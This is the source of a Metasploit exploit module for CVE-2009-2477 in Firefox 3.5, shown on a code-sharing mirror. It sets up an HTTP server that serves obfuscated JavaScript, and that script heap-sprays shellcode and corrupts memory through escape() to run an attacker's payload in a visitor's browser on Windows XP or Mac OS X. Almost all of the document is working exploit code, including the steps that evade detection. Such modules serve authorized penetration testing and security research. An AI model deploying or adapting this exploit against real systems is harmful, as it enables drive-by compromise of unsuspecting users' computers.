Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_escape_retval.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
#
10
# This module acts as an HTTP server
11
#
12
include Msf::Exploit::Remote::HttpServer::HTML
13
14
# include Msf::Exploit::Remote::BrowserAutopwn
15
# autopwn_info({
16
# :ua_name => HttpClients::FF,
17
# :ua_minver => "3.5",
18
# :ua_maxver => "3.5",
19
# :os_name => OperatingSystems::Match::WINDOWS,
20
# :javascript => true,
21
# :rank => NormalRanking, # reliable memory corruption
22
# :vuln_test => nil,
23
# })
24
25
def initialize(info = {})
26
super(
27
update_info(
28
info,
29
'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',
30
'Description' => %q{
31
This module exploits a memory corruption vulnerability in the Mozilla
32
Firefox browser. This flaw occurs when a bug in the javascript interpreter
33
fails to preserve the return value of the escape() function and results in
34
uninitialized memory being used instead. This module has only been tested
35
on Windows, but should work on other platforms as well with the current
36
targets.
37
},
38
'License' => MSF_LICENSE,
39
'Author' => [
40
'Simon Berry-Byrne <x00050876[at]itnet.ie>', # Author / Publisher / Original exploit
41
'hdm', # Metasploit conversion
42
],
43
'References' => [
44
['CVE', '2009-2477'],
45
['OSVDB', '55846'],
46
['BID', '35660'],
47
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
48
],
49
'Payload' => {
50
'Space' => 1000 + (rand(256).to_i * 4),
51
'BadChars' => "\x00",
52
},
53
'Platform' => %w{win osx},
54
'Targets' => [
55
[
56
'Firefox 3.5.0 on Windows XP SP0-SP3',
57
{
58
'Platform' => 'win',
59
'Arch' => ARCH_X86,
60
'Ret' => 0x0c0c0c0c,
61
'BlockLen' => 0x60000,
62
'Containers' => 800,
63
}
64
],
65
[
66
'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
67
{
68
'Platform' => 'osx',
69
'Arch' => ARCH_X86,
70
'Ret' => 0x41414141,
71
'BlockLen' => 496,
72
'Containers' => 800000
73
}
74
]
75
],
76
'DefaultTarget' => 0,
77
'DisclosureDate' => '2009-07-13',
78
'Notes' => {
79
'Reliability' => UNKNOWN_RELIABILITY,
80
'Stability' => UNKNOWN_STABILITY,
81
'SideEffects' => UNKNOWN_SIDE_EFFECTS
82
}
83
)
84
)
85
end
86
87
def on_request_uri(cli, request)
88
# Re-generate the payload
89
return if ((p = regenerate_payload(cli)) == nil)
90
91
print_status("Sending #{self.name}")
92
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
93
handler(cli)
94
end
95
96
def generate_html(payload)
97
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
98
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
99
enc_ret = Rex::Text.to_unescape(
100
Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
101
)
102
103
var_data_str1 = Rex::Text.rand_text_alpha(3)
104
var_data_str2 = Rex::Text.rand_text_alpha(4)
105
js = <<~EOF
106
var xunescape = unescape;
107
var shellcode = xunescape("#{enc_code}");
108
109
oneblock = xunescape("#{enc_ret}");
110
111
var fullblock = oneblock;
112
while (fullblock.length < #{target['BlockLen']})
113
{
114
fullblock += fullblock;
115
}
116
117
var sprayContainer = new Array();
118
var sprayready = false;
119
var sprayContainerIndex = 0;
120
121
function fill_function()
122
{
123
if(! sprayready) {
124
for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
125
{
126
sprayContainer[sprayContainerIndex] = fullblock + shellcode;
127
}
128
} else {
129
DataTranslator();
130
GenerateHTML();
131
}
132
if(sprayContainer.length >= #{target['Containers']}) {
133
sprayready = true;
134
}
135
}
136
137
var searchArray = new Array();
138
139
function escapeData(data)
140
{
141
var xi;
142
var xc;
143
var escData='';
144
for(xi=0; xi<data.length; xi++)
145
{
146
xc=data.charAt(xi);
147
if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
148
escData+=xc;
149
}
150
return escData;
151
}
152
153
function DataTranslator()
154
{
155
searchArray = new Array();
156
searchArray[0] = new Array();
157
searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
158
var newElement = document.getElementById("content");
159
if (document.getElementsByTagName) {
160
var xi=0;
161
pTags = newElement.getElementsByTagName("p");
162
if (pTags.length > 0)
163
while (xi < pTags.length)
164
{
165
oTags = pTags[xi].getElementsByTagName("font");
166
searchArray[xi+1] = new Array();
167
if (oTags[0]) {
168
searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
169
}
170
xi++;
171
}
172
}
173
}
174
175
function GenerateHTML()
176
{
177
var xhtml = "";
178
for (xi=1;xi<searchArray.length;xi++)
179
{
180
xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
181
}
182
}
183
184
setInterval("fill_function()", .5);
185
EOF
186
187
# Obfuscate it up a bit
188
js = obfuscate_js(js, 'Symbols' => {
189
'Variables' => %W{
190
DataTranslator GenerateHTML escapeData xunescape
191
shellcode oneblock fullblock sprayContainer xi searchArray xc
192
escData xhtml pTags oTags newElement sprayready sprayContainerIndex
193
fill_function
194
}
195
}).to_s
196
197
str1 = Rex::Text.rand_text_alpha(20)
198
str2 = Rex::Text.rand_text_alpha(24)
199
str3 = Rex::Text.rand_text_alpha(10) + " "
200
201
return %Q^
202
<html>
203
<head>
204
<div id="content">
205
<p>
206
<FONT>
207
</FONT>
208
</p>
209
<p>
210
<FONT>#{str1}</FONT></p>
211
<p>
212
<FONT>#{str2}</FONT>
213
</p>
214
<p>
215
<FONT>#{str3}</FONT>
216
</p>
217
</div>
218
<script language="JavaScript">
219
#{js}
220
</script>
221
</body>
222
</html>
223
^
224
end
225
end
226
227